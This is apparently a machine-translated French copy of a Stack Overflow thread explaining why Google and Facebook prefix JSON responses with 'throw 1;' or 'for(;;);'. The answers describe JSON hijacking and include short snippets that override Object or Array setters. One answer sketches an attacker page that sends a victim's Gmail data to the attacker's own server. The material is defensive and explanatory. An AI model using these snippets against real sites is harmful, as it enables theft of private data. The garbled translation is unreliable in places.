Pourquoi les gens mettent-ils du code comme "throw 1; <dont be evil> "et" pour (;;); "devant les réponses json?

Question

Double Possible:
Pourquoi avez "while(1);" dans XmlHttpRequest réponse?
Pourquoi est-ce que Google ajoute while(1); leurs réponses JSON?

Google renvoie du json comme ceci:

throw 1; <dont be evil> { foo: bar}

et Facebooks ajax a json comme ceci:

for(;;); {"error":0,"errorSummary": ""}

• Pourquoi ont-ils mis le code d'arrêt l'exécution et la rend invalide json?
• Comment font-ils pour analyser si il est invalide et plante si vous avez essayé d'eval il?
• N'ont-ils simplement le retirer de la chaîne (semble cher)?
• Existe-il des avantages de sécurité pour cette?

En réponse à ce qu'elle soit pour des raisons de sécurité:

Si le racloir est sur un autre domaine qu'ils auraient à utiliser un script balise pour obtenir les données, car XHR ne fonctionnera pas à l'inter-domaine. Même sans l' for(;;); comment l'attaquant d'obtenir les données? Ce n'est pas affectée à une variable, donc ne serait-il pas juste être des ordures collectées, car il n'y a pas de références?

Fondamentalement, pour obtenir les données de la croix-domaine ils auraient à le faire

<script src="http://target.com/json.js"></script>

Mais même sans le crash script ajouté l'attaquant ne peut pas utiliser les données Json, sans qu'il soit affecté à une variable que vous pouvez accéder à l'échelle mondiale (il n'est pas dans ces cas). Le code de crash effectivly ne fait rien, parce que même sans elle, ils ont à utiliser le serveur verso de script à utiliser les données sur leur site.

Answer 1

Même sans l' for(;;); comment l'attaquant d'obtenir les données?

Les attaques sont basées sur la modification du comportement des types intégrés, en particulier, Object et Array, par l'altération de leur fonction de constructeur ou de son prototype. Puis, quand le ciblées JSON utilise un {...} ou [...] construire, ils vont être à l'attaquant propres versions de ces objets, avec potentiellement un comportement inattendu.

Par exemple, vous pouvez pirater un setter de la propriété en Object, ce serait trahir les valeurs écrites dans les littéraux d'objet:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

Puis, quand un <script> a été relevé à certains JSON utilisé que le nom de la propriété:

{"x": "hello"}

la valeur "hello" "fuites".

La façon dont ce tableau et l'objet des littéraux de causer des organismes de normalisation pour être appelé est controversée. Firefox supprimé le comportement dans la version 3.5, en réponse à la publicité des attaques sur des sites web. Cependant, au moment de la rédaction de Safari (4) et de Chrome (5) sont encore vulnérables.

Une autre attaque que tous les navigateurs maintenant interdire a été de redéfinir les fonctions constructeur:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

Et pour l'instant, IE8 mise en œuvre de propriétés (basé sur ECMAScript Cinquième Édition standard et Object.defineProperty) ne fonctionne pas sur Object.prototype ou Array.prototype.

Mais, ainsi que de protéger passé navigateurs, il se peut que des extensions JavaScript causer plus de risques de fuites sont de nature semblable dans l'avenir, et dans ce cas, la paille doit protéger contre ceux qui sont trop.

Answer 2

Considérer que, après vérification de votre compte GMail, que vous allez visiter mon mal de page:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

Ce qui va se passer maintenant, c'est que le code Javascript qui vient de Google -- le demandeur a pensé bénignes et tombent immédiatement hors de portée -- en fait seront affichés sur mon site mal. Supposons que l'URL demandée dans la balise script envoie (parce que votre navigateur présentera le cookie, Google correctement pense que vous êtes connecté à votre boîte de réception):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

Maintenant, je vais poster une version sérialisée de cet objet pour mon mal de serveur. Merci!!!!

La façon d'éviter ce problème est de les fichiers inutiles de votre réponses JSON, et decruft quand vous, à partir du même domaine, peut manipuler ces données. Si vous aimez cette réponse, veuillez accepter celui posté par bobince.

Answer 3

MODIFIER

Ces chaînes sont communément appelés "unparseable curft" et ils sont utilisés pour patch une fuite de l'information vulnérabilité qui affecte le JSON spécification. Cette attaque est le monde réel et une vulnérabilité dans gmail a été découvert par Jeremiah Grossman. Mozilla estime aussi que cela soit une vulnérabilité dans le JSON spécification et il a été corrigé dans Firefox 3. Toutefois, en raison de ce problème affecte encore d'autres navigateurs, il "unparseable curft" est nécessaire, car il est compatible avec le patch.

Bobice la réponse a une explication technique de cette attaque et qu'il est correct.

Answer 4

Comment font-ils pour analyser si il est invalide et plante si vous avez essayé d'eval il?

C'est une fonctionnalité qu'il plante si vous avez essayé d' eval . eval permet arbitraire de code JavaScript, qui pourrait être utilisé pour un cross-site scripting attaque.

N'ont-ils simplement le retirer de la chaîne (semble cher)?

J'imagine donc. Probablement quelque chose comme:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

Le "don't be evil" trucs empêche les développeurs de l'aide d' eval directement au lieu d'une meilleure sécurité.